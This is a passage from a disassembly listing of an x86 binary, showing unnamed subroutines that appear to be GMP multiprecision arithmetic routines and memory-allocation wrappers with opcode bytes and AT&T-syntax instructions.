08062cb6  89 04 91           mov     %eax,(%ecx,%edx,4)
08062cb9  42                 inc     %edx
08062cba  3b 55 e4           cmp     0xffffffe4(%ebp),%edx
08062cbd  7c f1              jl      08062cb0 <Unknown0343+0x1c4>
08062cbf  89 4d f0           mov     %ecx,0xfffffff0(%ebp)
```

```
08062cc2   39 7d e8            cmp      %edi,0xffffffe8(%ebp)
08062cc5   74 17               je       08062cde <Unknown0343+0x1f2>
08062cc7   31 d2               xor      %edx,%edx
08062cc9   39 f2               cmp      %esi,%edx
08062ccb   7d 11               jge      08062cde <Unknown0343+0x1f2>
08062ccd   8d 76 00            lea      0x0(%esi),%esi
08062cd0   8b 04 97            mov      (%edi,%edx,4),%eax
08062cd3   8b 4d e8            mov      0xffffffe8(%ebp),%ecx
08062cd6   89 04 91            mov      %eax,(%ecx,%edx,4)
08062cd9   42                  inc      %edx
08062cda   39 f2               cmp      %esi,%edx
08062cdc   7c f2               jl       08062cd0 <Unknown0343+0x1e4>
08062cde   89 f3               mov      %esi,%ebx
08062ce0   83 ec 08            sub      $0x8,%esp
08062ce3   ff 75 e4            pushl    0xffffffe4(%ebp)
08062ce6   ff 75 f0            pushl    0xfffffff0(%ebp)
08062ce9   53                  push     %ebx
08062cea   ff 75 e8            pushl    0xffffffe8(%ebp)
08062ced   6a 00               push     $0x0
08062cef   ff 75 ec            pushl    0xffffffec(%ebp)
08062cf2   e8 31 04 00 00      call     08063128 <Unknown0353>
08062cf7   83 c4 20            add      $0x20,%esp
08062cfa   2b 5d e4            sub      0xffffffe4(%ebp),%ebx
08062cfd   85 c0               test     %eax,%eax
08062cff   74 07               je       08062d08 <Unknown0343+0x21c>
08062d01   8b 55 ec            mov      0xffffffec(%ebp),%edx
08062d04   89 04 9a            mov      %eax,(%edx,%ebx,4)
08062d07   43                  inc      %ebx
08062d08   8b 4d dc            mov      0xffffffdc(%ebp),%ecx
08062d0b   85 c9               test     %ecx,%ecx
08062d0d   89 d8               mov      %ebx,%eax
08062d0f   79 02               jns      08062d13 <Unknown0343+0x227>
08062d11   f7 d8               neg      %eax
08062d13   8b 4d 08            mov      0x8(%ebp),%ecx
08062d16   89 41 04            mov      %eax,0x4(%ecx)
08062d19   8b 5d e4            mov      0xffffffe4(%ebp),%ebx
08062d1c   85 db               test     %ebx,%ebx
08062d1e   7e 1e               jle      08062d3e <Unknown0343+0x252>
08062d20   8b 55 e8            mov      0xffffffe8(%ebp),%edx
08062d23   8d 04 9a            lea      (%edx,%ebx,4),%eax
08062d26   8b 50 fc            mov      0xfffffffc(%eax),%edx
08062d29   85 d2               test     %edx,%edx
08062d2b   75 11               jne      08062d3e <Unknown0343+0x252>
08062d2d   83 e8 04            sub      $0x4,%eax
08062d30   4b                  dec      %ebx
08062d31   83 e8 04            sub      $0x4,%eax
08062d34   85 db               test     %ebx,%ebx
08062d36   7e 06               jle      08062d3e <Unknown0343+0x252>
08062d38   8b 38               mov      (%eax),%edi
08062d3a   85 ff               test     %edi,%edi
08062d3c   74 f2               je       08062d30 <Unknown0343+0x244>
08062d3e   8b 75 d8            mov      0xffffffd8(%ebp),%esi
08062d41   85 f6               test     %esi,%esi
08062d43   74 26               je       08062d6b <Unknown0343+0x27f>
08062d45   85 db               test     %ebx,%ebx
08062d47   74 22               je       08062d6b <Unknown0343+0x27f>
08062d49   ff 75 d8            pushl    0xffffffd8(%ebp)
08062d4c   53                  push     %ebx
08062d4d   ff 75 e8            pushl    0xffffffe8(%ebp)
08062d50   ff 75 e8            pushl    0xffffffe8(%ebp)
08062d53   e8 b0 1d 00 00      call     08064b08 <Unknown0369>
08062d58   8b 4d e8            mov      0xffffffe8(%ebp),%ecx
08062d5b   8b 4c 99 fc         mov      0xfffffffc(%ecx,%ebx,4),%ecx
08062d5f   31 c0               xor      %eax,%eax
08062d61   83 c4 10            add      $0x10,%esp
08062d64   85 c9               test     %ecx,%ecx
08062d66   0f 94 c0            sete     %al
08062d69   29 c3               sub      %eax,%ebx
08062d6b   8b 55 e0            mov      0xffffffe0(%ebp),%edx


   ;
   ; >--------------------<  Subroutine # 344 >--------------------<
   ;
08062d6c <Unknown0344>:
08062d6c   55                  push     %ebp
08062d6d   e0 85               loopne   08062cf4 <Unknown0343+0x208>
08062d6f   d2 89 d8 79 02 f7   rorb     %cl,0xf70279d8(%ecx)   ;-150832680 'xd8 x79 x2 xf7' ""
08062d75   d8 8b 5d 0c 89 43   fmuls    0x43890c5d(%ebx)   ;l133055069 'x5d xc x89 x43' "]"
08062d7b   04 8d               add      $0x8d,%al
08062d7d   65                  gs
08062d7e   f4                  hlt
08062d7f   5b                  pop      %ebx
08062d80   5e                  pop      %esi
```

```
08062d81  5f                          pop      %edi
08062d82  5d                          pop      %ebp
08062d83  c3                          ret


   ;
   ; >-------------------<  Subroutine # 345 >-------------------<
   ;
08062d84 <Unknown0345>:
08062d84  55                          push     %ebp
08062d85  89 e5                       mov      %esp,%ebp
08062d87  57                          push     %edi
08062d88  56                          push     %esi
08062d89  53                          push     %ebx
08062d8a  83 ec 1c                    sub      $0x1c,%esp
08062d8d  8b 45 10                    mov      0x10(%ebp),%eax
08062d90  8b 40 04                    mov      0x4(%eax),%eax
08062d93  8b 7d 0c                    mov      0xc(%ebp),%edi
08062d96  89 45 e4                    mov      %eax,0xffffffe4(%ebp)
08062d99  8b 47 04                    mov      0x4(%edi),%eax
08062d9c  85 c0                       test     %eax,%eax
08062d9e  89 45 e0                    mov      %eax,0xffffffe0(%ebp)
08062da1  89 c6                       mov      %eax,%esi
08062da3  79 02                       jns      08062da7 <Unknown0345+0x23>
08062da5  f7 de                       neg      %esi
08062da7  8b 45 e4                    mov      0xffffffe4(%ebp),%eax
08062daa  85 c0                       test     %eax,%eax
08062dac  79 03                       jns      08062db1 <Unknown0345+0x2d>
08062dae  f7 5d e4                    negl     0xffffffe4(%ebp)
08062db1  8d 5e 01                    lea      0x1(%esi),%ebx
08062db4  8b 55 08                    mov      0x8(%ebp),%edx
08062db7  39 1a                       cmp      %ebx,(%edx)
08062db9  7d 0d                       jge      08062dc8 <Unknown0345+0x44>
08062dbb  83 ec 08                    sub      $0x8,%esp
08062dbe  53                          push     %ebx
08062dbf  52                          push     %edx
08062dc0  e8 8b f5 ff ff              call     08062350 <Unknown0331>
08062dc5  83 c4 10                    add      $0x10,%esp
08062dc8  2b 5d e4                    sub      0xffffffe4(%ebp),%ebx
08062dcb  85 db                       test     %ebx,%ebx
08062dcd  7f 35                       jg       08062e04 <Unknown0345+0x80>
08062dcf  3b 7d 08                    cmp      0x8(%ebp),%edi
08062dd2  0f 84 9c 01 00 00           je       08062f74 <Unknown0346+0x10>   ;412 'x9c x1 x0 x0' ""
08062dd8  8b 47 04                    mov      0x4(%edi),%eax
08062ddb  8b 4d 08                    mov      0x8(%ebp),%ecx
08062dde  89 41 04                    mov      %eax,0x4(%ecx)
08062de1  31 d2                       xor      %edx,%edx
08062de3  39 f2                       cmp      %esi,%edx
08062de5  0f 8d 89 01 00 00           jge      08062f74 <Unknown0346+0x10>   ;393 'x89 x1 x0 x0' ""
08062deb  8b 59 08                    mov      0x8(%ecx),%ebx
08062dee  8b 4f 08                    mov      0x8(%edi),%ecx
08062df1  8d 76 00                    lea      0x0(%esi),%esi
08062df4  8b 04 91                    mov      (%ecx,%edx,4),%eax
08062df7  89 04 93                    mov      %eax,(%ebx,%edx,4)
08062dfa  42                          inc      %edx
08062dfb  39 f2                       cmp      %esi,%edx
08062dfd  7c f5                       jl       08062df4 <Unknown0345+0x70>
08062dff  e9 70 01 00 00              jmp      08062f74 <Unknown0346+0x10>   ;368 'x70 x1 x0 x0' "p"
08062e04  8b 47 08                    mov      0x8(%edi),%eax
08062e07  89 45 f0                    mov      %eax,0xfffffff0(%ebp)
08062e0a  8b 45 08                    mov      0x8(%ebp),%eax
08062e0d  8b 55 10                    mov      0x10(%ebp),%edx
08062e10  8b 40 08                    mov      0x8(%eax),%eax
08062e13  83 7d e4 01                 cmpl     $0x1,0xffffffe4(%ebp)
08062e17  8b 7a 08                    mov      0x8(%edx),%edi
08062e1a  89 45 e8                    mov      %eax,0xffffffe8(%ebp)
08062e1d  75 35                       jne      08062e54 <Unknown0345+0xd0>
08062e1f  53                          push     %ebx
08062e20  ff 37                       pushl    (%edi)
08062e22  56                          push     %esi
08062e23  ff 75 f0                    pushl    0xfffffff0(%ebp)
08062e26  e8 ed 11 00 00              call     08064018 <Unknown0361>
08062e2b  8b 55 e8                    mov      0xffffffe8(%ebp),%edx
08062e2e  89 02                       mov      %eax,(%edx)
08062e30  83 c4 10                    add      $0x10,%esp
08062e33  31 d2                       xor      %edx,%edx
08062e35  85 c0                       test     %eax,%eax
08062e37  0f 95 c2                    setne    %dl
08062e3a  8b 4d e0                    mov      0xffffffe0(%ebp),%ecx
08062e3d  89 d3                       mov      %edx,%ebx
08062e3f  85 c9                       test     %ecx,%ecx
08062e41  89 d8                       mov      %ebx,%eax
08062e43  79 02                       jns      08062e47 <Unknown0345+0xc3>
08062e45  f7 d8                       neg      %eax
```

```
08062e47  8b 4d 08           mov     0x8(%ebp),%ecx
08062e4a  89 41 04           mov     %eax,0x4(%ecx)
08062e4d  e9 22 01 00 00     jmp     08062f74 <Unknown0346+0x10>   ;290 'x22 x1 x0 x0' """
08062e52  89 f6              mov     %esi,%esi
08062e54  8b 55 e4           mov     0xffffffe4(%ebp),%edx
08062e57  c1 e2 02           shl     $0x2,%edx
08062e5a  8b 45 e8           mov     0xffffffe8(%ebp),%eax
08062e5d  01 d0              add     %edx,%eax
08062e5f  89 45 ec           mov     %eax,0xffffffec(%ebp)
08062e62  0f bd 44 3a fc     bsr     0xfffffffc(%edx,%edi,1),%eax
08062e67  83 f0 1f           xor     $0x1f,%eax
08062e6a  89 45 dc           mov     %eax,0xffffffdc(%ebp)
08062e6d  74 3d              je      08062eac <Unknown0345+0x128>
08062e6f  8d 42 0f           lea     0xf(%edx),%eax
08062e72  83 e0 f0           and     $0xfffffff0,%eax
08062e75  29 c4              sub     %eax,%esp
08062e77  89 e3              mov     %esp,%ebx
08062e79  ff 75 dc           pushl   0xffffffdc(%ebp)
08062e7c  ff 75 e4           pushl   0xffffffe4(%ebp)
08062e7f  57                 push    %edi
08062e80  53                 push    %ebx
08062e81  e8 42 10 00 00     call    08063ec8 <Unknown0360>
08062e86  ff 75 dc           pushl   0xffffffdc(%ebp)
08062e89  56                 push    %esi
08062e8a  ff 75 f0           pushl   0xfffffff0(%ebp)
08062e8d  ff 75 e8           pushl   0xffffffe8(%ebp)
08062e90  e8 33 10 00 00     call    08063ec8 <Unknown0360>
08062e95  83 c4 20           add     $0x20,%esp
08062e98  85 c0              test    %eax,%eax
08062e9a  89 df              mov     %ebx,%edi
08062e9c  74 57              je      08062ef5 <Unknown0345+0x171>
08062e9e  8b 55 e8           mov     0xffffffe8(%ebp),%edx
08062ea1  89 04 b2           mov     %eax,(%edx,%esi,4)
08062ea4  8d 5e 01           lea     0x1(%esi),%ebx
08062ea7  eb 4e              jmp     08062ef7 <Unknown0345+0x173>
08062ea9  8d 76 00           lea     0x0(%esi),%esi
08062eac  3b 7d e8           cmp     0xffffffe8(%ebp),%edi
08062eaf  75 25              jne     08062ed6 <Unknown0345+0x152>
08062eb1  8d 42 0f           lea     0xf(%edx),%eax
08062eb4  83 e0 f0           and     $0xfffffff0,%eax
08062eb7  29 c4              sub     %eax,%esp
08062eb9  89 e1              mov     %esp,%ecx
08062ebb  31 d2              xor     %edx,%edx
08062ebd  8b 45 e4           mov     0xffffffe4(%ebp),%eax
08062ec0  39 45 dc           cmp     %eax,0xffffffdc(%ebp)
08062ec3  7d 0f              jge     08062ed4 <Unknown0345+0x150>
08062ec5  8d 76 00           lea     0x0(%esi),%esi
08062ec8  8b 04 97           mov     (%edi,%edx,4),%eax
08062ecb  89 04 91           mov     %eax,(%ecx,%edx,4)
08062ece  42                 inc     %edx
08062ecf  3b 55 e4           cmp     0xffffffe4(%ebp),%edx
08062ed2  7c f4              jl      08062ec8 <Unknown0345+0x144>
08062ed4  89 cf              mov     %ecx,%edi
08062ed6  8b 55 f0           mov     0xfffffff0(%ebp),%edx
08062ed9  39 55 e8           cmp     %edx,0xffffffe8(%ebp)
08062edc  74 17              je      08062ef5 <Unknown0345+0x171>
08062ede  31 d2              xor     %edx,%edx
08062ee0  39 f2              cmp     %esi,%edx
08062ee2  7d 11              jge     08062ef5 <Unknown0345+0x171>
08062ee4  8b 4d f0           mov     0xfffffff0(%ebp),%ecx
08062ee7  8b 04 91           mov     (%ecx,%edx,4),%eax
08062eea  8b 4d e8           mov     0xffffffe8(%ebp),%ecx
08062eed  89 04 91           mov     %eax,(%ecx,%edx,4)
08062ef0  42                 inc     %edx
08062ef1  39 f2              cmp     %esi,%edx
08062ef3  7c ef              jl      08062ee4 <Unknown0345+0x160>
08062ef5  89 f3              mov     %esi,%ebx
08062ef7  83 ec 08           sub     $0x8,%esp
08062efa  ff 75 e4           pushl   0xffffffe4(%ebp)
08062efd  57                 push    %edi
08062efe  53                 push    %ebx
08062eff  ff 75 e8           pushl   0xffffffe8(%ebp)
08062f02  6a 00              push    $0x0
08062f04  ff 75 ec           pushl   0xffffffec(%ebp)
08062f07  e8 1c 02 00 00     call    08063128 <Unknown0353>
08062f0c  8b 5d e4           mov     0xffffffe4(%ebp),%ebx
08062f0f  83 c4 20           add     $0x20,%esp
08062f12  85 db              test    %ebx,%ebx
08062f14  7e 20              jle     08062f36 <Unknown0345+0x1b2>
08062f16  8b 55 e8           mov     0xffffffe8(%ebp),%edx
08062f19  8d 04 9a           lea     (%edx,%ebx,4),%eax
08062f1c  8b 50 fc           mov     0xfffffffc(%eax),%edx
08062f1f  85 d2              test    %edx,%edx
08062f21  75 13              jne     08062f36 <Unknown0345+0x1b2>
```

```
08062f23  83 e8 04            sub    $0x4,%eax
08062f26  89 f6               mov    %esi,%esi
08062f28  4b                  dec    %ebx
08062f29  83 e8 04            sub    $0x4,%eax
08062f2c  85 db               test   %ebx,%ebx
08062f2e  7e 06               jle    08062f36 <Unknown0345+0x1b2>
08062f30  8b 38               mov    (%eax),%edi
08062f32  85 ff               test   %edi,%edi
08062f34  74 f2               je     08062f28 <Unknown0345+0x1a4>
08062f36  8b 75 dc            mov    0xffffffdc(%ebp),%esi
08062f39  85 f6               test   %esi,%esi
08062f3b  74 26               je     08062f63 <Unknown0345+0x1df>
08062f3d  85 db               test   %ebx,%ebx
08062f3f  74 22               je     08062f63 <Unknown0345+0x1df>
08062f41  ff 75 dc            pushl  0xffffffdc(%ebp)
08062f44  53                  push   %ebx
08062f45  ff 75 e8            pushl  0xffffffe8(%ebp)
08062f48  ff 75 e8            pushl  0xffffffe8(%ebp)
08062f4b  e8 b8 1b 00 00      call   08064b08 <Unknown0369>
08062f50  8b 4d e8            mov    0xffffffe8(%ebp),%ecx
08062f53  8b 4c 99 fc         mov    0xfffffffc(%ecx,%ebx,4),%ecx
08062f57  31 c0               xor    %eax,%eax
08062f59  83 c4 10            add    $0x10,%esp
08062f5c  85 c9               test   %ecx,%ecx
08062f5e  0f 94 c0            sete   %al
08062f61  29 c3               sub    %eax,%ebx
08062f63  8b 55 e0            mov    0xffffffe0(%ebp),%edx


  ;
  ; >---------------------< Subroutine # 346 >---------------------<
  ;
08062f64 <Unknown0346>:
08062f64  55                  push   %ebp
08062f65  e0 85               loopne 08062eec <Unknown0345+0x168>
08062f67  d2 89 d8 79 02 f7   rorb   %cl,0xf70279d8(%ecx)  ;-150832680 'xd8 x79 x2 xf7' ""
08062f6d  d8 8b 55 08 89 42   fmuls  0x42890855(%ebx)  ;1116276821 'x55 x8 x89 x42' "U"
08062f73  04 8d               add    $0x8d,%al
08062f75  65                  gs
08062f76  f4                  hlt
08062f77  5b                  pop    %ebx
08062f78  5e                  pop    %esi
08062f79  5f                  pop    %edi
08062f7a  5d                  pop    %ebp
08062f7b  c3                  ret


  ;
  ; >---------------------< Subroutine # 347 >---------------------<
  ;
08062f7c <Unknown0347>:
08062f7c  55                  push   %ebp
08062f7d  89 e5               mov    %esp,%ebp
08062f7f  83 ec 14            sub    $0x14,%esp
08062f82  ff 75 08            pushl  0x8(%ebp)
08062f85  e8 92 6f fe ff      call   08049f1c <malloc>
08062f8a  83 c4 10            add    $0x10,%esp
08062f8d  85 c0               test   %eax,%eax
08062f8f  75 13               jne    08062fa4 <Unknown0347+0x28>
08062f91  83 ec 0c            sub    $0xc,%esp
08062f94  68 c0 57 07 08      push   $0x80757c0  ;[in .rodata] 1852727651 'x63 x61 x6e x6e' "cannot
                                                              allocate in gmp"
08062f99  e8 4e 6d fe ff      call   08049cec <perror>
08062f9e  e8 69 70 fe ff      call   0804a00c <abort>
08062fa3  90                  nop
08062fa4  c9                  leave
08062fa5  c3                  ret
08062fa6  89 f6               mov    %esi,%esi


  ;
  ; >---------------------< Subroutine # 348 >---------------------<
  ;
08062fa8 <Unknown0348>:
08062fa8  55                  push   %ebp
08062fa9  89 e5               mov    %esp,%ebp
08062fab  83 ec 10            sub    $0x10,%esp
08062fae  ff 75 10            pushl  0x10(%ebp)
08062fb1  ff 75 08            pushl  0x8(%ebp)
08062fb4  e8 e3 71 fe ff      call   0804a19c <realloc>
08062fb9  83 c4 10            add    $0x10,%esp
08062fbc  85 c0               test   %eax,%eax
08062fbe  75 14               jne    08062fd4 <Unknown0348+0x2c>
08062fc0  83 ec 0c            sub    $0xc,%esp
```

```
08062fc3   68 c0 57 07 08        push    $0x80757c0   ;[in .rodata] 1852727651 'x63 x61 x6e x6e' "cannot
                                                                      allocate in gmp"
08062fc8   e8 1f 6d fe ff        call    08049cec <perror>
08062fcd   e8 3a 70 fe ff        call    0804a00c <abort>
08062fd2   89 f6                 mov     %esi,%esi
08062fd4   c9                    leave
08062fd5   c3                    ret
08062fd6   89 f6                 mov     %esi,%esi


   ;
   ; >--------------------<  Subroutine # 349 >--------------------<
   ;
08062fd8 <Unknown0349>:
08062fd8   55                    push    %ebp
08062fd9   89 e5                 mov     %esp,%ebp
08062fdb   83 ec 08              sub     $0x8,%esp
08062fde   c9                    leave
08062fdf   e9 a8 73 fe ff        jmp     0804a38c <free>   ;-101464 'xa8 x73 xfe xff' ""
08062fe4   90                    nop
08062fe5   90                    nop
08062fe6   90                    nop
08062fe7   90                    nop


   ;
   ; >--------------------<  Subroutine # 350 >--------------------<
   ;
08062fe8 <Unknown0350>:
08062fe8   57                    push    %edi
08062fe9   56                    push    %esi
08062fea   53                    push    %ebx
08062feb   55                    push    %ebp
08062fec   8b 7c 24 14           mov     0x14(%esp,1),%edi
08062ff0   8b 74 24 18           mov     0x18(%esp,1),%esi
08062ff4   8b 6c 24 1c           mov     0x1c(%esp,1),%ebp
08062ff8   8b 4c 24 20           mov     0x20(%esp,1),%ecx
08062ffc   8b 5d 00              mov     0x0(%ebp),%ebx
08062fff   49                    dec     %ecx
08063000   89 ca                 mov     %ecx,%edx
08063002   c1 e9 03              shr     $0x3,%ecx
08063005   83 e2 07              and     $0x7,%edx
08063008   85 c9                 test    %ecx,%ecx
0806300a   74 6b                 je      08063077 <Unknown0350+0x8f>
0806300c   52                    push    %edx
0806300d   8d 76 00              lea     0x0(%esi),%esi
08063010   8b 47 1c              mov     0x1c(%edi),%eax
08063013   8d 7f 20              lea     0x20(%edi),%edi
08063016   8b 06                 mov     (%esi),%eax
08063018   8b 56 04              mov     0x4(%esi),%edx
0806301b   11 d8                 adc     %ebx,%eax
0806301d   8b 5d 04              mov     0x4(%ebp),%ebx
08063020   11 da                 adc     %ebx,%edx
08063022   8b 5d 08              mov     0x8(%ebp),%ebx
08063025   89 47 e0              mov     %eax,0xffffffe0(%edi)
08063028   89 57 e4              mov     %edx,0xffffffe4(%edi)
0806302b   8b 46 08              mov     0x8(%esi),%eax
0806302e   8b 56 0c              mov     0xc(%esi),%edx
08063031   11 d8                 adc     %ebx,%eax
08063033   8b 5d 0c              mov     0xc(%ebp),%ebx
08063036   11 da                 adc     %ebx,%edx
08063038   8b 5d 10              mov     0x10(%ebp),%ebx
0806303b   89 47 e8              mov     %eax,0xffffffe8(%edi)
0806303e   89 57 ec              mov     %edx,0xffffffec(%edi)
08063041   8b 46 10              mov     0x10(%esi),%eax
08063044   8b 56 14              mov     0x14(%esi),%edx
08063047   11 d8                 adc     %ebx,%eax
08063049   8b 5d 14              mov     0x14(%ebp),%ebx
0806304c   11 da                 adc     %ebx,%edx
0806304e   8b 5d 18              mov     0x18(%ebp),%ebx
08063051   89 47 f0              mov     %eax,0xfffffff0(%edi)
08063054   89 57 f4              mov     %edx,0xfffffff4(%edi)
08063057   8b 46 18              mov     0x18(%esi),%eax
0806305a   8b 56 1c              mov     0x1c(%esi),%edx
0806305d   11 d8                 adc     %ebx,%eax
0806305f   8b 5d 1c              mov     0x1c(%ebp),%ebx
08063062   11 da                 adc     %ebx,%edx
08063064   8b 5d 20              mov     0x20(%ebp),%ebx
08063067   89 47 f8              mov     %eax,0xfffffff8(%edi)
0806306a   89 57 fc              mov     %edx,0xfffffffc(%edi)
0806306d   8d 76 20              lea     0x20(%esi),%esi
08063070   8d 6d 20              lea     0x20(%ebp),%ebp
08063073   49                    dec     %ecx
08063074   75 9a                 jne     08063010 <Unknown0350+0x28>
```

```
08063076   5a              pop      %edx
08063077   4a              dec      %edx
08063078   78 17           js       08063091 <Unknown0350+0xa9>
0806307a   42              inc      %edx
0806307b   8d 7f 04        lea      0x4(%edi),%edi
0806307e   8b 06           mov      (%esi),%eax
08063080   11 d8           adc      %ebx,%eax
08063082   8b 5d 04        mov      0x4(%ebp),%ebx
08063085   89 47 fc        mov      %eax,0xfffffffc(%edi)
08063088   8d 76 04        lea      0x4(%esi),%esi
0806308b   8d 6d 04        lea      0x4(%ebp),%ebp
0806308e   4a              dec      %edx
0806308f   75 ea           jne      0806307b <Unknown0350+0x93>
08063091   8b 06           mov      (%esi),%eax
08063093   11 d8           adc      %ebx,%eax
08063095   89 07           mov      %eax,(%edi)
08063097   19 c0           sbb      %eax,%eax
08063099   f7 d8           neg      %eax
0806309b   5d              pop      %ebp
0806309c   5b              pop      %ebx
0806309d   5e              pop      %esi
0806309e   5f              pop      %edi
0806309f   c3              ret

  ;
  ; >--------------------< Subroutine # 351 >--------------------<
  ;
080630a0 <Unknown0351>:
080630a0   55              push     %ebp
080630a1   89 e5           mov      %esp,%ebp
080630a3   8b 45 10        mov      0x10(%ebp),%eax
080630a6   56              push     %esi
080630a7   48              dec      %eax
080630a8   53              push     %ebx
080630a9   8b 75 08        mov      0x8(%ebp),%esi
080630ac   8b 5d 0c        mov      0xc(%ebp),%ebx
080630af   78 10           js       080630c1 <Unknown0351+0x21>
080630b1   8d 76 00        lea      0x0(%esi),%esi
080630b4   8b 0c 86        mov      (%esi,%eax,4),%ecx
080630b7   8b 14 83        mov      (%ebx,%eax,4),%edx
080630ba   39 d1           cmp      %edx,%ecx
080630bc   75 0a           jne      080630c8 <Unknown0351+0x28>
080630be   48              dec      %eax
080630bf   79 f3           jns      080630b4 <Unknown0351+0x14>
080630c1   31 c0           xor      %eax,%eax
080630c3   eb 0e           jmp      080630d3 <Unknown0351+0x33>
080630c5   8d 76 00        lea      0x0(%esi),%esi
080630c8   31 c0           xor      %eax,%eax
080630ca   39 d1           cmp      %edx,%ecx
080630cc   0f 97 c0        seta     %al
080630cf   8d 44 00 ff     lea      0xffffffff(%eax,%eax,1),%eax
080630d3   5b              pop      %ebx
080630d4   5e              pop      %esi
080630d5   5d              pop      %ebp
080630d6   c3              ret
080630d7   90              nop

  ;
  ; >--------------------< Subroutine # 352 >--------------------<
  ;
080630d8 <Unknown0352>:
080630d8   55              push     %ebp
080630d9   89 e5           mov      %esp,%ebp
080630db   8b 45 10        mov      0x10(%ebp),%eax
080630de   57              push     %edi
080630df   56              push     %esi
080630e0   85 c0           test     %eax,%eax
080630e2   53              push     %ebx
080630e3   8b 7d 08        mov      0x8(%ebp),%edi
080630e6   8b 75 0c        mov      0xc(%ebp),%esi
080630e9   8b 5d 14        mov      0x14(%ebp),%ebx
080630ec   75 06           jne      080630f4 <Unknown0352+0x1c>
080630ee   31 c0           xor      %eax,%eax
080630f0   eb 2f           jmp      08063121 <Unknown0352+0x49>
080630f2   89 f6           mov      %esi,%esi
080630f4   8d 48 ff        lea      0xffffffff(%eax),%ecx
080630f7   8b 14 8e        mov      (%esi,%ecx,4),%edx
080630fa   39 da           cmp      %ebx,%edx
080630fc   72 06           jb       08063104 <Unknown0352+0x2c>
080630fe   31 d2           xor      %edx,%edx
08063100   eb 0c           jmp      0806310e <Unknown0352+0x36>
08063102   89 f6           mov      %esi,%esi
```

```
08063104   c7 04 8f 00 00 00 00   movl   $0x0,(%edi,%ecx,4)   ;0 'x0 x0 x0 x0' ""
0806310b   8d 48 fe               lea    0xfffffffe(%eax),%ecx
0806310e   85 c9                  test   %ecx,%ecx
08063110   78 0d                  js     0806311f <Unknown0352+0x47>
08063112   89 f6                  mov    %esi,%esi
08063114   8b 04 8e               mov    (%esi,%ecx,4),%eax
08063117   f7 f3                  div    %ebx
08063119   89 04 8f               mov    %eax,(%edi,%ecx,4)
0806311c   49                     dec    %ecx
0806311d   79 f5                  jns    08063114 <Unknown0352+0x3c>
0806311f   89 d0                  mov    %edx,%eax
08063121   5b                     pop    %ebx
08063122   5e                     pop    %esi
08063123   5f                     pop    %edi
08063124   5d                     pop    %ebp
08063125   c3                     ret
08063126   89 f6                  mov    %esi,%esi


   ;
   ; >--------------------<  Subroutine # 353 >--------------------<
   ;
08063128 <Unknown0353>:
08063128   55                     push   %ebp
08063129   89 e5                  mov    %esp,%ebp
0806312b   57                     push   %edi
0806312c   56                     push   %esi
0806312d   53                     push   %ebx
0806312e   83 ec 3c               sub    $0x3c,%esp
08063131   83 7d 1c 01            cmpl   $0x1,0x1c(%ebp)
08063135   8b 75 14               mov    0x14(%ebp),%esi
08063138   c7 45 f0 00 00 00 00   movl   $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
0806313f   74 2f                  je     08063170 <Unknown0353+0x48>
08063141   83 7d 1c 01            cmpl   $0x1,0x1c(%ebp)
08063145   7f 0d                  jg     08063154 <Unknown0353+0x2c>
08063147   8b 55 1c               mov    0x1c(%ebp),%edx
0806314a   85 d2                  test   %edx,%edx
0806314c   74 12                  je     08063160 <Unknown0353+0x38>
0806314e   e9 c1 01 00 00         jmp    08063314 <Unknown0354+0xbd>   ;449 'xc1 x1 x0 x0' ""
08063153   90                     nop
08063154   83 7d 1c 02            cmpl   $0x2,0x1c(%ebp)
08063158   74 7e                  je     080631d8 <Unknown0353+0xb0>
0806315a   e9 b5 01 00 00         jmp    08063314 <Unknown0354+0xbd>   ;437 'xb5 x1 x0 x0' ""
0806315f   90                     nop
08063160   b8 01 00 00 00         mov    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08063165   99                     cltd
08063166   f7 7d f0               idivl  0xfffffff0(%ebp)
08063169   e9 15 03 00 00         jmp    08063483 <Unknown0354+0x22c>   ;789 'x15 x3 x0 x0' ""
0806316e   89 f6                  mov    %esi,%esi
08063170   8b 45 18               mov    0x18(%ebp),%eax
08063173   8b 4d 10               mov    0x10(%ebp),%ecx
08063176   8b 18                  mov    (%eax),%ebx
08063178   8b 54 b1 fc            mov    0xfffffffc(%ecx,%esi,4),%edx
0806317c   39 da                  cmp    %ebx,%edx
0806317e   72 09                  jb     08063189 <Unknown0353+0x61>
08063180   29 da                  sub    %ebx,%edx
08063182   c7 45 f0 01 00 00 00   movl   $0x1,0xfffffff0(%ebp)   ;1 'x1 x0 x0 x0' ""
08063189   8b 45 08               mov    0x8(%ebp),%eax
0806318c   8b 7d 0c               mov    0xc(%ebp),%edi
0806318f   89 f1                  mov    %esi,%ecx
08063191   8d 04 b8               lea    (%eax,%edi,4),%eax
08063194   83 e9 02               sub    $0x2,%ecx
08063197   89 45 08               mov    %eax,0x8(%ebp)
0806319a   78 11                  js     080631ad <Unknown0353+0x85>
0806319c   8b 75 10               mov    0x10(%ebp),%esi
0806319f   8b 04 8e               mov    (%esi,%ecx,4),%eax
080631a2   8b 7d 08               mov    0x8(%ebp),%edi
080631a5   f7 f3                  div    %ebx
080631a7   89 04 8f               mov    %eax,(%edi,%ecx,4)
080631aa   49                     dec    %ecx
080631ab   79 ef                  jns    0806319c <Unknown0353+0x74>
080631ad   8b 45 0c               mov    0xc(%ebp),%eax
080631b0   c1 e0 02               shl    $0x2,%eax
080631b3   8b 4d 0c               mov    0xc(%ebp),%ecx
080631b6   29 45 08               sub    %eax,0x8(%ebp)
080631b9   49                     dec    %ecx
080631ba   78 11                  js     080631cd <Unknown0353+0xa5>
080631bc   31 f6                  xor    %esi,%esi
080631be   89 f6                  mov    %esi,%esi
080631c0   89 f0                  mov    %esi,%eax
080631c2   8b 7d 08               mov    0x8(%ebp),%edi
080631c5   f7 f3                  div    %ebx
080631c7   89 04 8f               mov    %eax,(%edi,%ecx,4)
080631ca   49                     dec    %ecx
```

```
080631cb  79 f3                    jns     080631c0 <Unknown0353+0x98>
080631cd  8b 45 10                 mov     0x10(%ebp),%eax
080631d0  89 10                    mov     %edx,(%eax)
080631d2  e9 a9 02 00 00           jmp     08063480 <Unknown0354+0x229>  ;681 'xa9 x2 x0 x0' ""
080631d7  90                       nop
080631d8  8b 55 10                 mov     0x10(%ebp),%edx
080631db  8d 0c b2                 lea     (%edx,%esi,4),%ecx
080631de  8d 79 f8                 lea     0xfffffff8(%ecx),%edi
080631e1  89 7d 10                 mov     %edi,0x10(%ebp)
080631e4  8b 45 18                 mov     0x18(%ebp),%eax
080631e7  8b 40 04                 mov     0x4(%eax),%eax
080631ea  89 45 c8                 mov     %eax,0xffffffc8(%ebp)
